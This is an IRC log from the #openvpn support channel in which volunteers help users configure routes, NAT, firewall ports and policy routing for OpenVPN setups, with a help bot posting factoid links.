22:33 < chrisb> ugh
22:36 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Ping timeout: 240 seconds]
22:47 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
22:54 < tgreena> What should i set the Destination IP to if I have the gateway to the server IP. I keep getting 'Destination and Gateway should not reside on the same subnet 255.255.255.0'
22:54 < tgreena> And the netmask is 255.255.255.0
22:56 < pekster> Oh, the 'destination' is apparently not 'desgination gateway' then
22:57 < pekster> it's the network you're routing
22:57 < tgreena> I have it set to 10.0.0.0 and the gateway is 10.0.0.105 (the static ip of the server)
22:58 < pekster> That's bogus; that route is on-link to the entire LAN already
22:58 < pekster> You need a route for the _VPN_ range
22:58 < pekster> Also, 10.0.0.0/24 is best avoided as a VPN range since clients will be unable to reach them if they are also on that as their local range
22:58 < pekster> Use more abscure IP ranges
22:59 < tgreena> Hmm, lol I am sorry, I am kind of confused, I am still new to understanding networking
22:59 < tgreena> I believe the openvpn server is set to 10.8.0.0
23:00 < tgreena> and the static ip of the computer is 10.0.0.105
23:01 < pekster> Then _that_ is your destination network
23:01 < tgreena> I tried that and I got the same error :\
23:01 < pekster> 10.8.0.0/24 is not on 10.0.0.0/24, so that error is bogus
23:01 < pekster> That or you made a mistake somewhere
23:01 < tgreena> Shit lol, I hope not
23:02 < tgreena> Buutt, I must have
23:02 < pekster> Routing on Linux/Unix is so much easier
23:03 < pekster> There are usually distroisms to do it on boot, but what you want there is as easy as `ip route add 10.8.0.0/24 via 10.0.0.105`
23:03 < tgreena> Do you mean for the router? The openvpn is on wheezy, and everything i use is linux/unix
23:03 < pekster> Otherwise use the web interface to whatever not-so-open system you have to do the same thing
23:05 < tgreena> I don't really want to put the openwrt on the dlink router, because it isnt mine, and my gf would be prety pissed if i broke her router. The router I am getting for christmas will hopefully work :\
23:05 < pekster> Doesn't really matter if you can do what you want with the interface
23:05 < pekster> You need a route added; add it.
23:06 < tgreena> I just wish I knew how. I am just confused where to add the route? It seems like I need to add the route in the router settings/interface? Right? Or is that on the server openvpn.conf settings
23:08 < pekster> The route for the router is obviously added on the router
23:09 < tgreena> I am trying to add it to the router, but I keep getting the darn 'Destination and Gateway should not reside on the same subnet 255.255.255.0'
23:12 < pekster> And that's just not how networking works. 10.8.0.0/24 is _not_ on the same subnet as 10.0.0.105/24
23:13 < pekster> Either you've mis-entered the details, or your router's OS is stupid
23:14 < chrisb> if i switch to openvpn-auth-pam and yubico-pam for auth on the server, what sets the session key and level of session encryption? ta.key ? dh key?
23:14 < tgreena> Sweet, okay so [i think] you're saying I'm not crazy! Because I definitely haven't mis-entered the details, I am staring at them right now lol
23:15 < tgreena> I'm gonna throw up a screenshot too
23:15 < pekster> chrisb: Neither. Review --cipher and --auth for details about the data tunnel crypto, and --tls-cipher for the TLS cipher-suite used
23:16 < pekster> There is also no "DH key" -- DH params are used as part of a Diffie-Helman handshake that provides perfect-forward secrecy. --tls-auth is something completely different
23:16 < tgreena> http://imgur.com/ScnxwQD
23:16 <@vpnHelper> Title: imgur: the simple image sharer (at imgur.com)
23:17 < tgreena> You cannot change the Interface from WAN to LAN, but by going into the hidden fields you are able to change it
23:17 < tgreena> !dlink
23:17 < tgreena> or not lol, someone did that earlier and it worked
23:18 < pekster> !factoids search dlink
23:18 <@vpnHelper> "dlink_static_route" is http://lizzi555.dyndns.org/655/StaticRoute.html for the workaround for issues adding static route into d-link router with A3 firmware
23:18 < tgreena> yes that was it
23:18 < tgreena> I did all of that
23:18 < tgreena> but I still get an error when I try to save, the error i've been mentioning
23:19 < pekster> Then that thing is a piece of shit
23:19 < tgreena> Fucking DLink, is that the problem?
23:19 < pekster> Unless you're using a /8 or something silly for your LAN?
23:19 < tgreena> I am pretty sure it is /24? How would I check that
23:19 < chrisb> pekster: thanks, i will read
23:20 < pekster> Verify the mask on the LAn interface. This is really basic stuff you really should know already
23:20 < tgreena> I have a linksys E1000 sitting on the floor next to me, it was the old router. Would it be possible to use this router just for the VPN?
23:20 < pekster> Maybe review how basic networking works before you attempt advanced networking
23:20 < pekster> No.. you need a reverse route to get _back_ to the VPN range
23:20 < pekster> That's what the flowchart you're supposed to be following does, in part
23:21 < tgreena> All I want to do is be able to VPN to my home from my girlfriends house. I followed the flow chart to the one problem, and I just cant get past that one.
23:22 < tgreena> I do appreciate your help, I'll keep tinkering with it, hopefully i'll get it
23:24 < pekster> That or source-NAT is your other option. It's basically an ugly hack (you ought to route between networks you control) but it can avoid broken/inaccessible equipment
23:24 < pekster> You give up bi-directional support through; you can only initiate from the side before the NAT translation, not the other way around
23:26 -!- Devastator_ is now known as Devastator
23:26 < tgreena> Eugene mentioned the Nat hack earlier, and I was looking into it. That would most be fine if I can't et the routing to work, because I really only want to connect from the client to local computers on the server, and not from the local computers on the server to the client.
23:26 < pekster> Just apply source-NAT on the packets from the VPN for the local network; done.
23:27 < tgreena> http://community.openvpn.net/openvpn/wiki/NatHack you mean this, correct?
23:27 <@vpnHelper> Title: NatHack – OpenVPN Community (at community.openvpn.net)
23:27 < pekster> No, I mean a 1-line entry on your NAT subsystem in your OS
23:27 < pekster> Oh, I guess that's what that page is; then sure
23:28 < tgreena> If I got the NatHack working then I wouldnt need the routing on the router, correct?
23:29 < pekster> The routing wouldn't be involved at all
23:29 < pekster> Router*
23:29 < tgreena> besides the port forwarding, that I've already got working. Even though ultimately I don't really care about ip forwarding, I just want the LAN
23:31 < pekster> Forwarding is always involved unless you're bridging (and that complicates things in all sorts of other ways)
23:31 < pekster> More basic reading for you at !tcpip if you're this new to basic routing concepts
23:32 < tgreena> I am, I will read up anything you recommend to me.
23:37 -!- tgreena [~textual@c-76-108-121-33.hsd1.fl.comcast.net] has quit [Read error: No route to host]
23:38 -!- tgreena [~textual@c-76-108-121-33.hsd1.fl.comcast.net] has joined #openvpn
23:40 < tgreena> !tcpip
23:40 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
23:41 < tgreena> I'm off, thank you for the help pekster
23:42 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:42 -!- tgreena [~textual@c-76-108-121-33.hsd1.fl.comcast.net] has quit [Client Quit]
23:56 -!- speed_racer84 [~speed_rac@172.56.14.174] has joined #openvpn
--- Day changed Tue Dec 10 2013
00:15 -!- NP-Completeass [~NP-Hardas@unaffiliated/np-hardass] has quit [Ping timeout: 260 seconds]
00:21 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 248 seconds]
00:23 -!- xrosnight [~quassel@183.234.77.221] has joined #openvpn
00:29 -!- reiffert_ is now known as reiffert
00:32 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Ping timeout: 245 seconds]
00:42 -!- heraclitus [~heraclitu@199.241.147.34] has joined #openvpn
00:42 -!- heraclitus [~heraclitu@199.241.147.34] has quit [Changing host]
00:42 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
00:43 -!- rajkosto [~Rajko@212-200-213-169.dynamic.isp.telekom.rs] has quit [Ping timeout: 248 seconds]
01:04 -!- mattock_afk is now known as mattock
01:13 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 245 seconds]
01:16 -!- speed_racer84 [~speed_rac@172.56.14.174] has quit [Ping timeout: 272 seconds]
01:18 -!- speed_racer84 [~speed_rac@172.56.14.174] has joined #openvpn
01:21 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
01:23 -!- speed_racer81 [~speed_rac@172.56.14.174] has joined #openvpn
01:24 -!- speed_racer84 [~speed_rac@172.56.14.174] has quit [Read error: Connection reset by peer]
01:55 -!- grep0r [~grep0r@bitcoinshell.mooo.com] has quit [Ping timeout: 264 seconds]
01:58 -!- halcyon__ [~heraclitu@199.241.147.34] has joined #openvpn
01:59 -!- grep0r [grep0r@bitcoinshell.mooo.com] has joined #openvpn
02:00 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Ping timeout: 272 seconds]
02:43 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 272 seconds]
02:43 -!- james41382_ [~james@unaffiliated/james41382] has joined #openvpn
02:44 -!- james41382_ is now known as james41382
02:46 -!- takamichi [~takamichi@141.255.164.91] has joined #openvpn
02:51 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
02:54 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
03:21 < alexxtasi> hi again! (new to all vpn stuff!!) I am trying to configure an openvpn server on centos, following some howtos, and I am having "No route to host" errors... the question is... do I have always to open the openvpn port (the one I set in the server.conf) in iptables ?
03:22 < pekster> Your firewalls need to permit traffic you want to accept, yes. That one is pretty basic
03:23 -!- Linmu [~Linmu@203.70.194.104] has quit [Remote host closed the connection]
03:27 -!- takamichi [~takamichi@141.255.164.91] has quit [Ping timeout: 248 seconds]
03:31 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
03:40 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
03:41 -!- pwrcycle_ [~pwrcycle@173.214.160.92] has quit [Ping timeout: 265 seconds]
03:42 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
03:43 < alexxtasi> pekster: thanx for the answer... so in every server.conf file I test... I will change the firewall...
03:44 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:48 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
03:50 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 272 seconds]
03:59 -!- xrosnight [~quassel@183.234.77.221] has quit [Ping timeout: 240 seconds]
04:02 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
04:06 -!- halcyon__ [~heraclitu@199.241.147.34] has quit [Ping timeout: 260 seconds]
04:16 -!- maskedlua_ [~quassel@unaffiliated/themaskedlua] has joined #openvpn
04:19 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 272 seconds]
04:26 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
04:26 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
04:26 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
04:36 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
04:36 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
04:37 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
04:37 -!- xrosnight [~quassel@113.83.113.251] has joined #openvpn
04:53 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
04:54 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
05:00 -!- TTL117 [~TTL117@77.95.182.104] has quit []
05:27 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:38 -!- Denial- [Denial@97e0995b.skybroadband.com] has joined #openvpn
05:39 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
05:40 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:41 -!- jgeboski- [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
05:42 -!- Denial [Denial@97e0995b.skybroadband.com] has quit [Read error: Connection reset by peer]
05:42 -!- Denial- is now known as Denial
05:42 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 240 seconds]
05:42 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds]
05:42 -!- Eryn_1983_FL [~Eryn_1983@72.238.104.100] has quit [Ping timeout: 240 seconds]
05:42 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
05:42 -!- mode/#openvpn [+o krzee] by ChanServ
05:42 -!- jgeboski- is now known as jgeboski
05:43 -!- Eryn_1983_FL [~Eryn_1983@72.238.104.100] has joined #openvpn
05:48 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Quit: ZNC - http://znc.in]
05:48 -!- sailerboy [~sailerboy@sailerboy.net] has joined #openvpn
05:58 -!- piece3 [~quassel@14.161.15.21] has joined #openvpn
05:58 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
06:00 -!- maskedlua_ [~quassel@unaffiliated/themaskedlua] has quit [Read error: Connection reset by peer]
06:00 <@dazo> alexxtasi: no, not necessarily ... depends on the routes, and depends on what you try to achieve with yoru VPN
06:01 < reiffert> !welcome
06:01 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
06:01 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
06:01 < reiffert> !goal
06:01 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
06:01 < reiffert> !redirect
06:01 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
06:01 < reiffert> !wiki
06:01 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
06:01 < reiffert> !mitm
06:01 <@dazo> alexxtasi: This may give you some ideas .... https://community.openvpn.net/openvpn/wiki/BridgingAndRouting#Usingrouting
06:01 <@vpnHelper> "wiki" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN for the Unofficial wiki or (#2) https://community.openvpn.net/openvpn/wiki for the Official wiki
06:01 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
06:01 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
06:01 < reiffert> !iporder
06:01 <@vpnHelper> "iporder" is (#1) OpenVPN's internal client IP address selection algorithm works as follows: 1 -- Use --client-connect script generated file for static IP (first choice). or (#2) Use --client-config-dir file for static IP (next choice) !static for more info or (#3) Use --ifconfig-pool allocation for dynamic IP (last choice) or (#4) if you use --ifconfig-pool-persist see !ipp
06:01 < reiffert> !/30
06:01 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
06:01 < reiffert> !sample
06:01 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
06:01 <@dazo> gee!?!
06:01 -!- piece3 [~quassel@14.161.15.21] has quit [Excess Flood]
06:01 < reiffert> (#5) tl;dr Windows sucks
06:02 <@dazo> hahaha
06:02 <@dazo> alexxtasi: (in case this drowned for you in reiffert flooding) This may give you some ideas .... https://community.openvpn.net/openvpn/wiki/BridgingAndRouting#Usingrouting
06:02 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
06:03 < reiffert> :)
06:03 < reiffert> I'm sorry for that
06:03 <@dazo> :)
06:18 -!- debbie10t [~ma1com10t@host-92-20-13-251.as13285.net] has joined #openvpn
06:19 < debbie10t> Hi - i need to verify something on the HOWTO which appears to be wrong:
06:19 < debbie10t> http://openvpn.net/index.php/open-source/documentation/howto.html#policy
06:19 <@vpnHelper> Title: HOWTO (at openvpn.net)
06:20 < debbie10t> scroll down to the CCD/sysadmin1 example
06:20 < alexxtasi> dazo: thank you I ll give it a try !! :-)
06:20 < debbie10t> it appears that the ifconfig-push statements are the wrong way round
06:21 < debbie10t> ifconfig-push "local" "remote" from the point-of-view of the client
06:21 < debbie10t> should be (for example) ifconfig-push 10.8.1.2 10.8.1.1 not ifconfig-push 10.8.1.1 10.8.1.2
06:25 <@dazo> debbie10t: it's a long while ago since I used --ifconfig-push in a /30 setup .... but to me the syntax looks correct ... haven't tested it yet though
06:26 < debbie10t> dazo: you push the options from the POV of the client .. so ifconfig-push 10.8.1.1 10.8.1.2 would set the client to the same IP as the server ..
06:27  * dazo prefers --topology subnet instead of --topology net30 (which is the default)
06:27 < debbie10t> yes yes yes - but the HOWTO is wrong!
06:28 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 260 seconds]
06:29 < debbie10t> hmm .. it is not very clear as the server is on 10.8.0.1/24
06:29 -!- takamichi [~takamichi@85.12.8.13] has joined #openvpn
06:30 <@dazo> debbie10t: it's using some subnet tricks to have different ACLs based on whom you are ... it's clever, in a hackerish way
06:31 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Remote host closed the connection]
06:31  * dazo really need to start doing some real work .... *sigh*  rewrites are never fun ....
06:33 -!- takamichi [~takamichi@85.12.8.13] has quit [Read error: Connection reset by peer]
06:34 < debbie10t> I am sure the actual ifconfig-push statements are wrong
06:34 < debbie10t> ok - dazo - have fun
06:35 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
06:36 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
06:46 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:14 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 272 seconds]
07:17 -!- takamichi [~takamichi@85.12.8.13] has joined #openvpn
07:25 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
07:27 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has joined #openvpn
07:30 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
07:30 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
07:30 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
07:30 -!- mode/#openvpn [+o dazo] by ChanServ
07:35 -!- ayaka [~ayaka@222.76.205.131] has left #openvpn ["离开"]
07:41 -!- qwertyoruiop_ is now known as qwertyoruiop
07:42 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
07:43 -!- takamichi [~takamichi@85.12.8.13] has quit [Ping timeout: 260 seconds]
07:44 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
07:50 -!- xrosnight_ [~quassel@113.83.67.165] has joined #openvpn
07:51 -!- xrosnight [~quassel@113.83.113.251] has quit [Ping timeout: 240 seconds]
07:59 -!- xrosnight_ [~quassel@113.83.67.165] has quit [Quit: No Ping reply in 180 seconds.]
07:59 -!- xrosnight [~quassel@113.83.67.165] has joined #openvpn
08:00 -!- robertbuhren [~Thunderbi@duck-4.dima.tu-berlin.de] has joined #openvpn
08:00 < robertbuhren> hi there, is there an opensource webinterface for controlling openvpn?
08:01 < reiffert> openvpnwebgui
08:01 < robertbuhren> thanks!
08:05 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 272 seconds]
08:05 -!- Fetch_ is now known as Fetch
08:05 -!- halcyon__ [~heraclitu@cpe-72-181-248-94.tx.res.rr.com] has joined #openvpn
08:05 -!- cian1500ww [~cian@unaffiliated/cian1500ww] has quit [Quit: WeeChat 0.4.1]
08:08 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Ping timeout: 246 seconds]
08:09 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds]
08:09 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has quit [Ping timeout: 246 seconds]
08:09 -!- speed_racer81 [~speed_rac@172.56.14.174] has quit [Read error: Connection reset by peer]
08:09 -!- speed_racer81 [~speed_rac@172.56.14.174] has joined #openvpn
08:10 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has quit [Ping timeout: 246 seconds]
08:10 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
08:10 -!- mode/#openvpn [+o mattock] by ChanServ
08:14 -!- saneki [~saneki@dedi2.ip1.zylongaming.com] has joined #openvpn
08:19 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has joined #openvpn
08:25 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
08:26 -!- mjkr [jzhmer@gateway/shell/blinkenshell.org/x-tmbplbhizrntspmy] has joined #openvpn
08:26 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
08:26 -!- mode/#openvpn [+o mattock] by ChanServ
08:27 < mjkr> i'm planning on a purchase of privatetunnel plan. however, i'm quite concerned with the state of tuntap driver in windows 8.1 / windows server 2012 r2 -
08:27 < mjkr> is tuntap officially running on nt 6.3?
08:28 < mjkr> does privatetunnel's version of tuntap running on nt 6.3?
08:29 < mjkr> and what is the average bandwidth usage for an average user who would watch videos online, for a year?
08:30 < mjkr> would the 500gb as advertised on privatetunnel.com suffice?
08:37 <@EugeneKay> we don't discuss the commercial offerings here beyond pointing you to
08:37 <@EugeneKay> !as
08:38 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
08:39 < mjkr> thank you. i will relocate there.
08:41 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:48 -!- ade_b [~Ade@redhat/adeb] has quit [Read error: Operation timed out]
09:01 -!- defswork [~andy@141.0.50.105] has joined #openvpn
09:04 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
09:05 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
09:05 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
09:07 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
09:07 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has quit [Changing host]
09:07 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
09:07 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
09:07 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
09:07 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has quit [Changing host]
09:07 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
09:12 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has quit [Ping timeout: 240 seconds]
09:32 < Volkswagner> greetings!
09:33 < Volkswagner> I'm trying to setup a bit of a complex route (complex for me anyway!)
09:34 -!- You're now known as BMWer
09:34 <@BMWer> salutations!
09:34 < Volkswagner> Openvpn server=Linode VPS Debian6, client=WNDR3800 Router running openWRT with ipPhone behind it as the client of interest
09:34 < Volkswagner> I
09:35 < Volkswagner> I'd like the ipPhone to route to my public ip at home which is running the Asterisk server.  I do have Tun/Routed setup
09:36 < pekster> You want to route /just/ the phone's traffic, or everything behind your VPN-client (the router) ?
09:36 < Volkswagner> I can ping back and forth along with ssh back and forth over the VPN to/from server/client
09:37 < Volkswagner> Just the phone traffic as it is the only purpose for the setup.
09:37 <@BMWer> then install openvpn on the phone
09:37 -!- You're now known as ecrist
09:37 < Volkswagner> I'm not sure if I need the redirect gateway directive???
09:37 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has joined #openvpn
09:38 < pekster> We have info/flowcharts for full redirection at !redirect, though that redirects all internet-bound traffic in general across the VPN (so that'll include the router and all clients)
09:38 < pekster> And yea, you can use the 'Connect' product for the iPhone, which is able to connect to OpenVPN; info at !iphone
09:38 <@ecrist> I use the iphone client with great success
09:38 <@ecrist> though, I've not tried to redirect gateway
09:39 < Volkswagner> pekster, I'd be happy routing all traffic if necessary... it's an ip phone not iPhone
09:39 < pekster> That'll change things
09:39 <@ecrist> unless it's a Snom
09:39 < Volkswagner> cisco
09:39 <@ecrist> Snom ships a fireware with openvpn embeded
09:39 <@ecrist> this gets worse and worse for you. ;)
09:39 < pekster> So, see the info I'll have the bot spit in a moment; it's easier to just use the --redirect-gateway stuff, otherwise you need some slightly-more-advanced policy routing (so multiple routing tables and a routing rule)
09:39 -!- halcyon__ [~heraclitu@cpe-72-181-248-94.tx.res.rr.com] has quit [Quit: Ping timeout: 221 seconds]
09:39 < Volkswagner> Can I have redirect gateway for select clients using ccd/dir?
09:40 < pekster> You can probably just use vanilla redirection though, like this:
09:40 < pekster> !redirect
09:40 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
09:40 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
09:40 < pekster> Volkswagner: No, you can't use a ccd becuase routing is in your router's OS/kernel, not openvpn
09:40 < pekster> ie: to redirect "some but not all traffic flowing through the router" you need policy routing as noted above
09:41 < pekster> Not really hard, but more work than !redirect is
09:41 < Volkswagner> pekster, thanks... let me look at policy routing
09:41 < pekster> !lartc
09:41 <@vpnHelper> "lartc" is LARTC is the de-facto guide to policy routing and QoS (tc, or traffic control) on Linux. http://lartc.org/howto/ . Policy routing in Ch. 4, QoS in Ch. 9. Start at the beginning if you're new to advanced routing on Linux
09:41 < Volkswagner> I do have other clients that can
09:41 -!- master_o1_master [~master_of@p4FD7B50A.dip0.t-ipconnect.de] has joined #openvpn
09:41 < Volkswagner> ... cant use redirect
09:42 < pekster> If your phone has a static IP, what I would do is create your secondary routing table with a default route across your VPN link, then a routing rule (`ip rule ...`) sending traffic from that source to the secondary table
09:43 < Volkswagner> pekster, to clarify the other clients without redirect will not be behind the router, they will connect directly to the Linode server
09:44 < pekster> What "other clients" ?
09:44 -!- master_of_master [~master_of@p4FD7BB9F.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
09:44 < Volkswagner> I have windows clients using OpenVPN.exe
09:45 < pekster> Right, so if you don't use --redirect-gateway (or push any routes) to them, the routing table will remain as it was
09:45 < pekster> ie: only a route to the 'on-link' VPN network will exist
09:45 < Volkswagner> so these windows cients, I don't want redirect.
09:46 < pekster> Right, if you muck with routing on client-WNDR3800, that has no impact on what client-foo does
09:46 < Volkswagner> correct.
09:47 < Volkswagner> I did try to add a static route in the router webconfig, but it seemed to break networking... but that's an issue for #openWRT
09:47 < pekster> You need more than a static route; you need policy routing (multiple routing tables and routing rules to send to your secondary tables)
09:48 < pekster> I doubt the web interface does it, but IIRC there is support in openwrt 12.x to do it from a UCI config standpoint; I don't install builds with the web interface, so I have no idea what it supports ;)
09:49 < Volkswagner> pekster, someday I'll be as brave as you!
09:50 < pekster> Eh, maybe it's only in BB, so you might be stuck implementing some of this with your own glue-magic or back-porting from openwrt development branches
09:50 < Volkswagner> sometimes I do feel the web Interface is a crutch
09:50 < pekster> YMMV, brief info link here: http://wiki.openwrt.org/doc/uci/network#ip.rules
09:50 < pekster> At any rate, distro-isms are for #openwrt, yea. LARTC and that link should get you started, and if you don't want to mess with back-porting distro-isms from their network code, you can always do what you want with your own standalone scripts
09:52 -!- robertbuhren [~Thunderbi@duck-4.dima.tu-berlin.de] has quit [Quit: robertbuhren]
09:54 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
09:54 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
09:54 < Volkswagner> pekster, thanks... I'll check out your links
09:54 -!- Devastator [~devas@186.214.15.221] has joined #openvpn
09:55 -!- Devastator [~devas@186.214.15.221] has quit [Client Quit]
09:56 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
10:07 -!- dazo is now known as dazo_afk
10:10 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
10:11 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
10:12 -!- mode/#openvpn [+o krzee] by ChanServ
10:17 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
10:17 -!- cherwin_ [~cherwin@80.239.169.203] has joined #openvpn
10:19 -!- dimm0k_ is now known as dimm0k
10:20 -!- heraclitus [~heraclitu@77.74.193.82] has joined #openvpn
10:20 -!- heraclitus [~heraclitu@77.74.193.82] has quit [Changing host]
10:20 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
10:21 -!- xrosnight [~quassel@113.83.67.165] has quit [Remote host closed the connection]
10:21 -!- cherwin_ [~cherwin@80.239.169.203] has quit [Ping timeout: 246 seconds]
10:23 -!- JackWinter [~jack@vodsl-4669.vo.lu] has quit [Quit: Konversation terminated!]
10:25 -!- JackWinter [~jack@vodsl-4669.vo.lu] has joined #openvpn
10:25 -!- Six6siX [~six6@jasmine1.sammybakar.com] has quit [Ping timeout: 252 seconds]
10:36 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
